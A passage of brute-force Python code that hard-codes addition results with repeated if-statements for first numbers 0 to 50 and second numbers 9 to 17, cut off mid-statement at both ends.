print("34 + 9 = 43") if firstNum == 35 and sign == "+" and secondNum == 9 : print("35 + 9 = 44") if firstNum == 36 and sign == "+" and secondNum == 9 : print("36 + 9 = 45") if firstNum == 37 and sign == "+" and secondNum == 9 : print("37 + 9 = 46") if firstNum == 38 and sign == "+" and secondNum == 9 : print("38 + 9 = 47") if firstNum == 39 and sign == "+" and secondNum == 9 : print("39 + 9 = 48") if firstNum == 40 and sign == "+" and secondNum == 9 : print("40 + 9 = 49") if firstNum == 41 and sign == "+" and secondNum == 9 : print("41 + 9 = 50") if firstNum == 42 and sign == "+" and secondNum == 9 : print("42 + 9 = 51") if firstNum == 43 and sign == "+" and secondNum == 9 : print("43 + 9 = 52") if firstNum == 44 and sign == "+" and secondNum == 9 : print("44 + 9 = 53") if firstNum == 45 and sign == "+" and secondNum == 9 : print("45 + 9 = 54") if firstNum == 46 and sign == "+" and secondNum == 9 : print("46 + 9 = 55") if firstNum == 47 and sign == "+" and secondNum == 9 : print("47 + 9 = 56") if firstNum == 48 and sign == "+" and secondNum == 9 : print("48 + 9 = 57") if firstNum == 49 and sign == "+" and secondNum == 9 : print("49 + 9 = 58") if firstNum == 50 and sign == "+" and secondNum == 9 : print("50 + 9 = 59") if firstNum == 0 and sign == "+" and secondNum == 10 : print("0 + 10 = 10") if firstNum == 1 and sign == "+" and secondNum == 10 : print("1 + 10 = 11") if firstNum == 2 and sign == "+" and secondNum == 10 : print("2 + 10 = 12") if firstNum == 3 and sign == "+" and secondNum == 10 : print("3 + 10 = 13") if firstNum == 4 and sign == "+" and secondNum == 10 : print("4 + 10 = 14") if firstNum == 5 and sign == "+" and secondNum == 10 : print("5 + 10 = 15") if firstNum == 6 and sign == "+" and secondNum == 10 : print("6 + 10 = 16") if firstNum == 7 and sign == "+" and secondNum == 10 : print("7 + 10 = 17") if firstNum == 8 and sign == "+" and secondNum == 10 : print("8 + 10 = 18") if firstNum == 9 and sign == "+" and secondNum == 10 : print("9 + 10 = 19") if firstNum == 10 and sign == "+" and secondNum == 10 : print("10 + 10 = 20") if firstNum == 11 and sign == "+" and secondNum == 10 : print("11 + 10 = 21") if firstNum == 12 and sign == "+" and secondNum == 10 : print("12 + 10 = 22") if firstNum == 13 and sign == "+" and secondNum == 10 : print("13 + 10 = 23") if firstNum == 14 and sign == "+" and secondNum == 10 : print("14 + 10 = 24") if firstNum == 15 and sign == "+" and secondNum == 10 : print("15 + 10 = 25") if firstNum == 16 and sign == "+" and secondNum == 10 : print("16 + 10 = 26") if firstNum == 17 and sign == "+" and secondNum == 10 : print("17 + 10 = 27") if firstNum == 18 and sign == "+" and secondNum == 10 : print("18 + 10 = 28") if firstNum == 19 and sign == "+" and secondNum == 10 : print("19 + 10 = 29") if firstNum == 20 and sign == "+" and secondNum == 10 : print("20 + 10 = 30") if firstNum == 21 and sign == "+" and secondNum == 10 : print("21 + 10 = 31") if firstNum == 22 and sign == "+" and secondNum == 10 : print("22 + 10 = 32") if firstNum == 23 and sign == "+" and secondNum == 10 : print("23 + 10 = 33") if firstNum == 24 and sign == "+" and secondNum == 10 : print("24 + 10 = 34") if firstNum == 25 and sign == "+" and secondNum == 10 : print("25 + 10 = 35") if firstNum == 26 and sign == "+" and secondNum == 10 : print("26 + 10 = 36") if firstNum == 27 and sign == "+" and secondNum == 10 : print("27 + 10 = 37") if firstNum == 28 and sign == "+" and secondNum == 10 : print("28 + 10 = 38") if firstNum == 29 and sign == "+" and secondNum == 10 : print("29 + 10 = 39") if firstNum == 30 and sign == "+" and secondNum == 10 : print("30 + 10 = 40") if firstNum == 31 and sign == "+" and secondNum == 10 : print("31 + 10 = 41") if firstNum == 32 and sign == "+" and secondNum == 10 : print("32 + 10 = 42") if firstNum == 33 and sign == "+" and secondNum == 10 : print("33 + 10 = 43") if firstNum == 34 and sign == "+" and secondNum == 10 : print("34 + 10 = 44") if firstNum == 35 and sign == "+" and secondNum == 10 : print("35 + 10 = 45") if firstNum == 36 and sign == "+" and secondNum == 10 : print("36 + 10 = 46") if firstNum == 37 and sign == "+" and secondNum == 10 : print("37 + 10 = 47") if firstNum == 38 and sign == "+" and secondNum == 10 : print("38 + 10 = 48") if firstNum == 39 and sign == "+" and secondNum == 10 : print("39 + 10 = 49") if firstNum == 40 and sign == "+" and secondNum == 10 : print("40 + 10 = 50") if firstNum == 41 and sign == "+" and secondNum == 10 : print("41 + 10 = 51") if firstNum == 42 and sign == "+" and secondNum == 10 : print("42 + 10 = 52") if firstNum == 43 and sign == "+" and secondNum == 10 : print("43 + 10 = 53") if firstNum == 44 and sign == "+" and secondNum == 10 : print("44 + 10 = 54") if firstNum == 45 and sign == "+" and secondNum == 10 : print("45 + 10 = 55") if firstNum == 46 and sign == "+" and secondNum == 10 : print("46 + 10 = 56") if firstNum == 47 and sign == "+" and secondNum == 10 : print("47 + 10 = 57") if firstNum == 48 and sign == "+" and secondNum == 10 : print("48 + 10 = 58") if firstNum == 49 and sign == "+" and secondNum == 10 : print("49 + 10 = 59") if firstNum == 50 and sign == "+" and secondNum == 10 : print("50 + 10 = 60") if firstNum == 0 and sign == "+" and secondNum == 11 : print("0 + 11 = 11") if firstNum == 1 and sign == "+" and secondNum == 11 : print("1 + 11 = 12") if firstNum == 2 and sign == "+" and secondNum == 11 : print("2 + 11 = 13") if firstNum == 3 and sign == "+" and secondNum == 11 : print("3 + 11 = 14") if firstNum == 4 and sign == "+" and secondNum == 11 : print("4 + 11 = 15") if firstNum == 5 and sign == "+" and secondNum == 11 : print("5 + 11 = 16") if firstNum == 6 and sign == "+" and secondNum == 11 : print("6 + 11 = 17") if firstNum == 7 and sign == "+" and secondNum == 11 : print("7 + 11 = 18") if firstNum == 8 and sign == "+" and secondNum == 11 : print("8 + 11 = 19") if firstNum == 9 and sign == "+" and secondNum == 11 : print("9 + 11 = 20") if firstNum == 10 and sign == "+" and secondNum == 11 : print("10 + 11 = 21") if firstNum == 11 and sign == "+" and secondNum == 11 : print("11 + 11 = 22") if firstNum == 12 and sign == "+" and secondNum == 11 : print("12 + 11 = 23") if firstNum == 13 and sign == "+" and secondNum == 11 : print("13 + 11 = 24") if firstNum == 14 and sign == "+" and secondNum == 11 : print("14 + 11 = 25") if firstNum == 15 and sign == "+" and secondNum == 11 : print("15 + 11 = 26") if firstNum == 16 and sign == "+" and secondNum == 11 : print("16 + 11 = 27") if firstNum == 17 and sign == "+" and secondNum == 11 : print("17 + 11 = 28") if firstNum == 18 and sign == "+" and secondNum == 11 : print("18 + 11 = 29") if firstNum == 19 and sign == "+" and secondNum == 11 : print("19 + 11 = 30") if firstNum == 20 and sign == "+" and secondNum == 11 : print("20 + 11 = 31") if firstNum == 21 and sign == "+" and secondNum == 11 : print("21 + 11 = 32") if firstNum == 22 and sign == "+" and secondNum == 11 : print("22 + 11 = 33") if firstNum == 23 and sign == "+" and secondNum == 11 : print("23 + 11 = 34") if firstNum == 24 and sign == "+" and secondNum == 11 : print("24 + 11 = 35") if firstNum == 25 and sign == "+" and secondNum == 11 : print("25 + 11 = 36") if firstNum == 26 and sign == "+" and secondNum == 11 : print("26 + 11 = 37") if firstNum == 27 and sign == "+" and secondNum == 11 : print("27 + 11 = 38") if firstNum == 28 and sign == "+" and secondNum == 11 : print("28 + 11 = 39") if firstNum == 29 and sign == "+" and secondNum == 11 : print("29 + 11 = 40") if firstNum == 30 and sign == "+" and secondNum == 11 : print("30 + 11 = 41") if firstNum == 31 and sign == "+" and secondNum == 11 : print("31 + 11 = 42") if firstNum == 32 and sign == "+" and secondNum == 11 : print("32 + 11 = 43") if firstNum == 33 and sign == "+" and secondNum == 11 : print("33 + 11 = 44") if firstNum == 34 and sign == "+" and secondNum == 11 : print("34 + 11 = 45") if firstNum == 35 and sign == "+" and secondNum == 11 : print("35 + 11 = 46") if firstNum == 36 and sign == "+" and secondNum == 11 : print("36 + 11 = 47") if firstNum == 37 and sign == "+" and secondNum == 11 : print("37 + 11 = 48") if firstNum == 38 and sign == "+" and secondNum == 11 : print("38 + 11 = 49") if firstNum == 39 and sign == "+" and secondNum == 11 : print("39 + 11 = 50") if firstNum == 40 and sign == "+" and secondNum == 11 : print("40 + 11 = 51") if firstNum == 41 and sign == "+" and secondNum == 11 : print("41 + 11 = 52") if firstNum == 42 and sign == "+" and secondNum == 11 : print("42 + 11 = 53") if firstNum == 43 and sign == "+" and secondNum == 11 : print("43 + 11 = 54") if firstNum == 44 and sign == "+" and secondNum == 11 : print("44 + 11 = 55") if firstNum == 45 and sign == "+" and secondNum == 11 : print("45 + 11 = 56") if firstNum == 46 and sign == "+" and secondNum == 11 : print("46 + 11 = 57") if firstNum == 47 and sign == "+" and secondNum == 11 : print("47 + 11 = 58") if firstNum == 48 and sign == "+" and secondNum == 11 : print("48 + 11 = 59") if firstNum == 49 and sign == "+" and secondNum == 11 : print("49 + 11 = 60") if firstNum == 50 and sign == "+" and secondNum == 11 : print("50 + 11 = 61") if firstNum == 0 and sign == "+" and secondNum == 12 : print("0 + 12 = 12") if firstNum == 1 and sign == "+" and secondNum == 12 : print("1 + 12 = 13") if firstNum == 2 and sign == "+" and secondNum == 12 : print("2 + 12 = 14") if firstNum == 3 and sign == "+" and secondNum == 12 : print("3 + 12 = 15") if firstNum == 4 and sign == "+" and secondNum == 12 : print("4 + 12 = 16") if firstNum == 5 and sign == "+" and secondNum == 12 : print("5 + 12 = 17") if firstNum == 6 and sign == "+" and secondNum == 12 : print("6 + 12 = 18") if firstNum == 7 and sign == "+" and secondNum == 12 : print("7 + 12 = 19") if firstNum == 8 and sign == "+" and secondNum == 12 : print("8 + 12 = 20") if firstNum == 9 and sign == "+" and secondNum == 12 : print("9 + 12 = 21") if firstNum == 10 and sign == "+" and secondNum == 12 : print("10 + 12 = 22") if firstNum == 11 and sign == "+" and secondNum == 12 : print("11 + 12 = 23") if firstNum == 12 and sign == "+" and secondNum == 12 : print("12 + 12 = 24") if firstNum == 13 and sign == "+" and secondNum == 12 : print("13 + 12 = 25") if firstNum == 14 and sign == "+" and secondNum == 12 : print("14 + 12 = 26") if firstNum == 15 and sign == "+" and secondNum == 12 : print("15 + 12 = 27") if firstNum == 16 and sign == "+" and secondNum == 12 : print("16 + 12 = 28") if firstNum == 17 and sign == "+" and secondNum == 12 : print("17 + 12 = 29") if firstNum == 18 and sign == "+" and secondNum == 12 : print("18 + 12 = 30") if firstNum == 19 and sign == "+" and secondNum == 12 : print("19 + 12 = 31") if firstNum == 20 and sign == "+" and secondNum == 12 : print("20 + 12 = 32") if firstNum == 21 and sign == "+" and secondNum == 12 : print("21 + 12 = 33") if firstNum == 22 and sign == "+" and secondNum == 12 : print("22 + 12 = 34") if firstNum == 23 and sign == "+" and secondNum == 12 : print("23 + 12 = 35") if firstNum == 24 and sign == "+" and secondNum == 12 : print("24 + 12 = 36") if firstNum == 25 and sign == "+" and secondNum == 12 : print("25 + 12 = 37") if firstNum == 26 and sign == "+" and secondNum == 12 : print("26 + 12 = 38") if firstNum == 27 and sign == "+" and secondNum == 12 : print("27 + 12 = 39") if firstNum == 28 and sign == "+" and secondNum == 12 : print("28 + 12 = 40") if firstNum == 29 and sign == "+" and secondNum == 12 : print("29 + 12 = 41") if firstNum == 30 and sign == "+" and secondNum == 12 : print("30 + 12 = 42") if firstNum == 31 and sign == "+" and secondNum == 12 : print("31 + 12 = 43") if firstNum == 32 and sign == "+" and secondNum == 12 : print("32 + 12 = 44") if firstNum == 33 and sign == "+" and secondNum == 12 : print("33 + 12 = 45") if firstNum == 34 and sign == "+" and secondNum == 12 : print("34 + 12 = 46") if firstNum == 35 and sign == "+" and secondNum == 12 : print("35 + 12 = 47") if firstNum == 36 and sign == "+" and secondNum == 12 : print("36 + 12 = 48") if firstNum == 37 and sign == "+" and secondNum == 12 : print("37 + 12 = 49") if firstNum == 38 and sign == "+" and secondNum == 12 : print("38 + 12 = 50") if firstNum == 39 and sign == "+" and secondNum == 12 : print("39 + 12 = 51") if firstNum == 40 and sign == "+" and secondNum == 12 : print("40 + 12 = 52") if firstNum == 41 and sign == "+" and secondNum == 12 : print("41 + 12 = 53") if firstNum == 42 and sign == "+" and secondNum == 12 : print("42 + 12 = 54") if firstNum == 43 and sign == "+" and secondNum == 12 : print("43 + 12 = 55") if firstNum == 44 and sign == "+" and secondNum == 12 : print("44 + 12 = 56") if firstNum == 45 and sign == "+" and secondNum == 12 : print("45 + 12 = 57") if firstNum == 46 and sign == "+" and secondNum == 12 : print("46 + 12 = 58") if firstNum == 47 and sign == "+" and secondNum == 12 : print("47 + 12 = 59") if firstNum == 48 and sign == "+" and secondNum == 12 : print("48 + 12 = 60") if firstNum == 49 and sign == "+" and secondNum == 12 : print("49 + 12 = 61") if firstNum == 50 and sign == "+" and secondNum == 12 : print("50 + 12 = 62") if firstNum == 0 and sign == "+" and secondNum == 13 : print("0 + 13 = 13") if firstNum == 1 and sign == "+" and secondNum == 13 : print("1 + 13 = 14") if firstNum == 2 and sign == "+" and secondNum == 13 : print("2 + 13 = 15") if firstNum == 3 and sign == "+" and secondNum == 13 : print("3 + 13 = 16") if firstNum == 4 and sign == "+" and secondNum == 13 : print("4 + 13 = 17") if firstNum == 5 and sign == "+" and secondNum == 13 : print("5 + 13 = 18") if firstNum == 6 and sign == "+" and secondNum == 13 : print("6 + 13 = 19") if firstNum == 7 and sign == "+" and secondNum == 13 : print("7 + 13 = 20") if firstNum == 8 and sign == "+" and secondNum == 13 : print("8 + 13 = 21") if firstNum == 9 and sign == "+" and secondNum == 13 : print("9 + 13 = 22") if firstNum == 10 and sign == "+" and secondNum == 13 : print("10 + 13 = 23") if firstNum == 11 and sign == "+" and secondNum == 13 : print("11 + 13 = 24") if firstNum == 12 and sign == "+" and secondNum == 13 : print("12 + 13 = 25") if firstNum == 13 and sign == "+" and secondNum == 13 : print("13 + 13 = 26") if firstNum == 14 and sign == "+" and secondNum == 13 : print("14 + 13 = 27") if firstNum == 15 and sign == "+" and secondNum == 13 : print("15 + 13 = 28") if firstNum == 16 and sign == "+" and secondNum == 13 : print("16 + 13 = 29") if firstNum == 17 and sign == "+" and secondNum == 13 : print("17 + 13 = 30") if firstNum == 18 and sign == "+" and secondNum == 13 : print("18 + 13 = 31") if firstNum == 19 and sign == "+" and secondNum == 13 : print("19 + 13 = 32") if firstNum == 20 and sign == "+" and secondNum == 13 : print("20 + 13 = 33") if firstNum == 21 and sign == "+" and secondNum == 13 : print("21 + 13 = 34") if firstNum == 22 and sign == "+" and secondNum == 13 : print("22 + 13 = 35") if firstNum == 23 and sign == "+" and secondNum == 13 : print("23 + 13 = 36") if firstNum == 24 and sign == "+" and secondNum == 13 : print("24 + 13 = 37") if firstNum == 25 and sign == "+" and secondNum == 13 : print("25 + 13 = 38") if firstNum == 26 and sign == "+" and secondNum == 13 : print("26 + 13 = 39") if firstNum == 27 and sign == "+" and secondNum == 13 : print("27 + 13 = 40") if firstNum == 28 and sign == "+" and secondNum == 13 : print("28 + 13 = 41") if firstNum == 29 and sign == "+" and secondNum == 13 : print("29 + 13 = 42") if firstNum == 30 and sign == "+" and secondNum == 13 : print("30 + 13 = 43") if firstNum == 31 and sign == "+" and secondNum == 13 : print("31 + 13 = 44") if firstNum == 32 and sign == "+" and secondNum == 13 : print("32 + 13 = 45") if firstNum == 33 and sign == "+" and secondNum == 13 : print("33 + 13 = 46") if firstNum == 34 and sign == "+" and secondNum == 13 : print("34 + 13 = 47") if firstNum == 35 and sign == "+" and secondNum == 13 : print("35 + 13 = 48") if firstNum == 36 and sign == "+" and secondNum == 13 : print("36 + 13 = 49") if firstNum == 37 and sign == "+" and secondNum == 13 : print("37 + 13 = 50") if firstNum == 38 and sign == "+" and secondNum == 13 : print("38 + 13 = 51") if firstNum == 39 and sign == "+" and secondNum == 13 : print("39 + 13 = 52") if firstNum == 40 and sign == "+" and secondNum == 13 : print("40 + 13 = 53") if firstNum == 41 and sign == "+" and secondNum == 13 : print("41 + 13 = 54") if firstNum == 42 and sign == "+" and secondNum == 13 : print("42 + 13 = 55") if firstNum == 43 and sign == "+" and secondNum == 13 : print("43 + 13 = 56") if firstNum == 44 and sign == "+" and secondNum == 13 : print("44 + 13 = 57") if firstNum == 45 and sign == "+" and secondNum == 13 : print("45 + 13 = 58") if firstNum == 46 and sign == "+" and secondNum == 13 : print("46 + 13 = 59") if firstNum == 47 and sign == "+" and secondNum == 13 : print("47 + 13 = 60") if firstNum == 48 and sign == "+" and secondNum == 13 : print("48 + 13 = 61") if firstNum == 49 and sign == "+" and secondNum == 13 : print("49 + 13 = 62") if firstNum == 50 and sign == "+" and secondNum == 13 : print("50 + 13 = 63") if firstNum == 0 and sign == "+" and secondNum == 14 : print("0 + 14 = 14") if firstNum == 1 and sign == "+" and secondNum == 14 : print("1 + 14 = 15") if firstNum == 2 and sign == "+" and secondNum == 14 : print("2 + 14 = 16") if firstNum == 3 and sign == "+" and secondNum == 14 : print("3 + 14 = 17") if firstNum == 4 and sign == "+" and secondNum == 14 : print("4 + 14 = 18") if firstNum == 5 and sign == "+" and secondNum == 14 : print("5 + 14 = 19") if firstNum == 6 and sign == "+" and secondNum == 14 : print("6 + 14 = 20") if firstNum == 7 and sign == "+" and secondNum == 14 : print("7 + 14 = 21") if firstNum == 8 and sign == "+" and secondNum == 14 : print("8 + 14 = 22") if firstNum == 9 and sign == "+" and secondNum == 14 : print("9 + 14 = 23") if firstNum == 10 and sign == "+" and secondNum == 14 : print("10 + 14 = 24") if firstNum == 11 and sign == "+" and secondNum == 14 : print("11 + 14 = 25") if firstNum == 12 and sign == "+" and secondNum == 14 : print("12 + 14 = 26") if firstNum == 13 and sign == "+" and secondNum == 14 : print("13 + 14 = 27") if firstNum == 14 and sign == "+" and secondNum == 14 : print("14 + 14 = 28") if firstNum == 15 and sign == "+" and secondNum == 14 : print("15 + 14 = 29") if firstNum == 16 and sign == "+" and secondNum == 14 : print("16 + 14 = 30") if firstNum == 17 and sign == "+" and secondNum == 14 : print("17 + 14 = 31") if firstNum == 18 and sign == "+" and secondNum == 14 : print("18 + 14 = 32") if firstNum == 19 and sign == "+" and secondNum == 14 : print("19 + 14 = 33") if firstNum == 20 and sign == "+" and secondNum == 14 : print("20 + 14 = 34") if firstNum == 21 and sign == "+" and secondNum == 14 : print("21 + 14 = 35") if firstNum == 22 and sign == "+" and secondNum == 14 : print("22 + 14 = 36") if firstNum == 23 and sign == "+" and secondNum == 14 : print("23 + 14 = 37") if firstNum == 24 and sign == "+" and secondNum == 14 : print("24 + 14 = 38") if firstNum == 25 and sign == "+" and secondNum == 14 : print("25 + 14 = 39") if firstNum == 26 and sign == "+" and secondNum == 14 : print("26 + 14 = 40") if firstNum == 27 and sign == "+" and secondNum == 14 : print("27 + 14 = 41") if firstNum == 28 and sign == "+" and secondNum == 14 : print("28 + 14 = 42") if firstNum == 29 and sign == "+" and secondNum == 14 : print("29 + 14 = 43") if firstNum == 30 and sign == "+" and secondNum == 14 : print("30 + 14 = 44") if firstNum == 31 and sign == "+" and secondNum == 14 : print("31 + 14 = 45") if firstNum == 32 and sign == "+" and secondNum == 14 : print("32 + 14 = 46") if firstNum == 33 and sign == "+" and secondNum == 14 : print("33 + 14 = 47") if firstNum == 34 and sign == "+" and secondNum == 14 : print("34 + 14 = 48") if firstNum == 35 and sign == "+" and secondNum == 14 : print("35 + 14 = 49") if firstNum == 36 and sign == "+" and secondNum == 14 : print("36 + 14 = 50") if firstNum == 37 and sign == "+" and secondNum == 14 : print("37 + 14 = 51") if firstNum == 38 and sign == "+" and secondNum == 14 : print("38 + 14 = 52") if firstNum == 39 and sign == "+" and secondNum == 14 : print("39 + 14 = 53") if firstNum == 40 and sign == "+" and secondNum == 14 : print("40 + 14 = 54") if firstNum == 41 and sign == "+" and secondNum == 14 : print("41 + 14 = 55") if firstNum == 42 and sign == "+" and secondNum == 14 : print("42 + 14 = 56") if firstNum == 43 and sign == "+" and secondNum == 14 : print("43 + 14 = 57") if firstNum == 44 and sign == "+" and secondNum == 14 : print("44 + 14 = 58") if firstNum == 45 and sign == "+" and secondNum == 14 : print("45 + 14 = 59") if firstNum == 46 and sign == "+" and secondNum == 14 : print("46 + 14 = 60") if firstNum == 47 and sign == "+" and secondNum == 14 : print("47 + 14 = 61") if firstNum == 48 and sign == "+" and secondNum == 14 : print("48 + 14 = 62") if firstNum == 49 and sign == "+" and secondNum == 14 : print("49 + 14 = 63") if firstNum == 50 and sign == "+" and secondNum == 14 : print("50 + 14 = 64") if firstNum == 0 and sign == "+" and secondNum == 15 : print("0 + 15 = 15") if firstNum == 1 and sign == "+" and secondNum == 15 : print("1 + 15 = 16") if firstNum == 2 and sign == "+" and secondNum == 15 : print("2 + 15 = 17") if firstNum == 3 and sign == "+" and secondNum == 15 : print("3 + 15 = 18") if firstNum == 4 and sign == "+" and secondNum == 15 : print("4 + 15 = 19") if firstNum == 5 and sign == "+" and secondNum == 15 : print("5 + 15 = 20") if firstNum == 6 and sign == "+" and secondNum == 15 : print("6 + 15 = 21") if firstNum == 7 and sign == "+" and secondNum == 15 : print("7 + 15 = 22") if firstNum == 8 and sign == "+" and secondNum == 15 : print("8 + 15 = 23") if firstNum == 9 and sign == "+" and secondNum == 15 : print("9 + 15 = 24") if firstNum == 10 and sign == "+" and secondNum == 15 : print("10 + 15 = 25") if firstNum == 11 and sign == "+" and secondNum == 15 : print("11 + 15 = 26") if firstNum == 12 and sign == "+" and secondNum == 15 : print("12 + 15 = 27") if firstNum == 13 and sign == "+" and secondNum == 15 : print("13 + 15 = 28") if firstNum == 14 and sign == "+" and secondNum == 15 : print("14 + 15 = 29") if firstNum == 15 and sign == "+" and secondNum == 15 : print("15 + 15 = 30") if firstNum == 16 and sign == "+" and secondNum == 15 : print("16 + 15 = 31") if firstNum == 17 and sign == "+" and secondNum == 15 : print("17 + 15 = 32") if firstNum == 18 and sign == "+" and secondNum == 15 : print("18 + 15 = 33") if firstNum == 19 and sign == "+" and secondNum == 15 : print("19 + 15 = 34") if firstNum == 20 and sign == "+" and secondNum == 15 : print("20 + 15 = 35") if firstNum == 21 and sign == "+" and secondNum == 15 : print("21 + 15 = 36") if firstNum == 22 and sign == "+" and secondNum == 15 : print("22 + 15 = 37") if firstNum == 23 and sign == "+" and secondNum == 15 : print("23 + 15 = 38") if firstNum == 24 and sign == "+" and secondNum == 15 : print("24 + 15 = 39") if firstNum == 25 and sign == "+" and secondNum == 15 : print("25 + 15 = 40") if firstNum == 26 and sign == "+" and secondNum == 15 : print("26 + 15 = 41") if firstNum == 27 and sign == "+" and secondNum == 15 : print("27 + 15 = 42") if firstNum == 28 and sign == "+" and secondNum == 15 : print("28 + 15 = 43") if firstNum == 29 and sign == "+" and secondNum == 15 : print("29 + 15 = 44") if firstNum == 30 and sign == "+" and secondNum == 15 : print("30 + 15 = 45") if firstNum == 31 and sign == "+" and secondNum == 15 : print("31 + 15 = 46") if firstNum == 32 and sign == "+" and secondNum == 15 : print("32 + 15 = 47") if firstNum == 33 and sign == "+" and secondNum == 15 : print("33 + 15 = 48") if firstNum == 34 and sign == "+" and secondNum == 15 : print("34 + 15 = 49") if firstNum == 35 and sign == "+" and secondNum == 15 : print("35 + 15 = 50") if firstNum == 36 and sign == "+" and secondNum == 15 : print("36 + 15 = 51") if firstNum == 37 and sign == "+" and secondNum == 15 : print("37 + 15 = 52") if firstNum == 38 and sign == "+" and secondNum == 15 : print("38 + 15 = 53") if firstNum == 39 and sign == "+" and secondNum == 15 : print("39 + 15 = 54") if firstNum == 40 and sign == "+" and secondNum == 15 : print("40 + 15 = 55") if firstNum == 41 and sign == "+" and secondNum == 15 : print("41 + 15 = 56") if firstNum == 42 and sign == "+" and secondNum == 15 : print("42 + 15 = 57") if firstNum == 43 and sign == "+" and secondNum == 15 : print("43 + 15 = 58") if firstNum == 44 and sign == "+" and secondNum == 15 : print("44 + 15 = 59") if firstNum == 45 and sign == "+" and secondNum == 15 : print("45 + 15 = 60") if firstNum == 46 and sign == "+" and secondNum == 15 : print("46 + 15 = 61") if firstNum == 47 and sign == "+" and secondNum == 15 : print("47 + 15 = 62") if firstNum == 48 and sign == "+" and secondNum == 15 : print("48 + 15 = 63") if firstNum == 49 and sign == "+" and secondNum == 15 : print("49 + 15 = 64") if firstNum == 50 and sign == "+" and secondNum == 15 : print("50 + 15 = 65") if firstNum == 0 and sign == "+" and secondNum == 16 : print("0 + 16 = 16") if firstNum == 1 and sign == "+" and secondNum == 16 : print("1 + 16 = 17") if firstNum == 2 and sign == "+" and secondNum == 16 : print("2 + 16 = 18") if firstNum == 3 and sign == "+" and secondNum == 16 : print("3 + 16 = 19") if firstNum == 4 and sign == "+" and secondNum == 16 : print("4 + 16 = 20") if firstNum == 5 and sign == "+" and secondNum == 16 : print("5 + 16 = 21") if firstNum == 6 and sign == "+" and secondNum == 16 : print("6 + 16 = 22") if firstNum == 7 and sign == "+" and secondNum == 16 : print("7 + 16 = 23") if firstNum == 8 and sign == "+" and secondNum == 16 : print("8 + 16 = 24") if firstNum == 9 and sign == "+" and secondNum == 16 : print("9 + 16 = 25") if firstNum == 10 and sign == "+" and secondNum == 16 : print("10 + 16 = 26") if firstNum == 11 and sign == "+" and secondNum == 16 : print("11 + 16 = 27") if firstNum == 12 and sign == "+" and secondNum == 16 : print("12 + 16 = 28") if firstNum == 13 and sign == "+" and secondNum == 16 : print("13 + 16 = 29") if firstNum == 14 and sign == "+" and secondNum == 16 : print("14 + 16 = 30") if firstNum == 15 and sign == "+" and secondNum == 16 : print("15 + 16 = 31") if firstNum == 16 and sign == "+" and secondNum == 16 : print("16 + 16 = 32") if firstNum == 17 and sign == "+" and secondNum == 16 : print("17 + 16 = 33") if firstNum == 18 and sign == "+" and secondNum == 16 : print("18 + 16 = 34") if firstNum == 19 and sign == "+" and secondNum == 16 : print("19 + 16 = 35") if firstNum == 20 and sign == "+" and secondNum == 16 : print("20 + 16 = 36") if firstNum == 21 and sign == "+" and secondNum == 16 : print("21 + 16 = 37") if firstNum == 22 and sign == "+" and secondNum == 16 : print("22 + 16 = 38") if firstNum == 23 and sign == "+" and secondNum == 16 : print("23 + 16 = 39") if firstNum == 24 and sign == "+" and secondNum == 16 : print("24 + 16 = 40") if firstNum == 25 and sign == "+" and secondNum == 16 : print("25 + 16 = 41") if firstNum == 26 and sign == "+" and secondNum == 16 : print("26 + 16 = 42") if firstNum == 27 and sign == "+" and secondNum == 16 : print("27 + 16 = 43") if firstNum == 28 and sign == "+" and secondNum == 16 : print("28 + 16 = 44") if firstNum == 29 and sign == "+" and secondNum == 16 : print("29 + 16 = 45") if firstNum == 30 and sign == "+" and secondNum == 16 : print("30 + 16 = 46") if firstNum == 31 and sign == "+" and secondNum == 16 : print("31 + 16 = 47") if firstNum == 32 and sign == "+" and secondNum == 16 : print("32 + 16 = 48") if firstNum == 33 and sign == "+" and secondNum == 16 : print("33 + 16 = 49") if firstNum == 34 and sign == "+" and secondNum == 16 : print("34 + 16 = 50") if firstNum == 35 and sign == "+" and secondNum == 16 : print("35 + 16 = 51") if firstNum == 36 and sign == "+" and secondNum == 16 : print("36 + 16 = 52") if firstNum == 37 and sign == "+" and secondNum == 16 : print("37 + 16 = 53") if firstNum == 38 and sign == "+" and secondNum == 16 : print("38 + 16 = 54") if firstNum == 39 and sign == "+" and secondNum == 16 : print("39 + 16 = 55") if firstNum == 40 and sign == "+" and secondNum == 16 : print("40 + 16 = 56") if firstNum == 41 and sign == "+" and secondNum == 16 : print("41 + 16 = 57") if firstNum == 42 and sign == "+" and secondNum == 16 : print("42 + 16 = 58") if firstNum == 43 and sign == "+" and secondNum == 16 : print("43 + 16 = 59") if firstNum == 44 and sign == "+" and secondNum == 16 : print("44 + 16 = 60") if firstNum == 45 and sign == "+" and secondNum == 16 : print("45 + 16 = 61") if firstNum == 46 and sign == "+" and secondNum == 16 : print("46 + 16 = 62") if firstNum == 47 and sign == "+" and secondNum == 16 : print("47 + 16 = 63") if firstNum == 48 and sign == "+" and secondNum == 16 : print("48 + 16 = 64") if firstNum == 49 and sign == "+" and secondNum == 16 : print("49 + 16 = 65") if firstNum == 50 and sign == "+" and secondNum == 16 : print("50 + 16 = 66") if firstNum == 0 and sign == "+" and secondNum == 17 : print("0 + 17 = 17") if firstNum == 1 and sign == "+" and secondNum == 17 : print("1 + 17 = 18") if firstNum == 2 and sign == "+" and secondNum == 17 : print("2 + 17 = 19") if firstNum == 3 and sign == "+" and secondNum == 17 : print("3 + 17 = 20") if firstNum == 4 and sign == "+" and secondNum == 17 : print("4 + 17 = 21") if firstNum == 5 and sign == "+" and secondNum == 17 : print("5 + 17 = 22") if firstNum == 6 and sign == "+" and secondNum == 17 : print("6 + 17 = 23") if firstNum == 7 and sign == "+" and secondNum == 17 : print("7 + 17 = 24") if firstNum == 8 and sign == "+" and secondNum == 17 : print("8 + 17 = 25") if firstNum == 9 and sign == "+" and secondNum == 17 : print("9 + 17 = 26") if firstNum == 10 and sign == "+" and secondNum == 17 : print("10 + 17 = 27") if firstNum == 11 and sign == "+" and secondNum == 17 : print("11 + 17 = 28") if firstNum == 12 and sign == "+" and secondNum == 17 : print("12 + 17 = 29") if firstNum == 13 and sign == "+" and secondNum == 17 : print("13 + 17 = 30") if firstNum == 14 and sign == "+" and secondNum == 17 : print("14 + 17 = 31") if firstNum == 15 and sign == "+" and secondNum == 17 : print("15 + 17 = 32") if firstNum == 16 and sign == "+" and secondNum == 17 : print("16 + 17 = 33") if firstNum == 17 and sign == "+" and secondNum == 17 : print("17 + 17 = 34") if firstNum == 18 and sign == "+" and secondNum == 17 : print("18 + 17 = 35") if firstNum == 19 and sign == "+" and secondNum == 17 : print("19 + 17 = 36") if firstNum == 20 and sign == "+" and secondNum == 17 : print("20 + 17 = 37") if firstNum == 21 and sign == 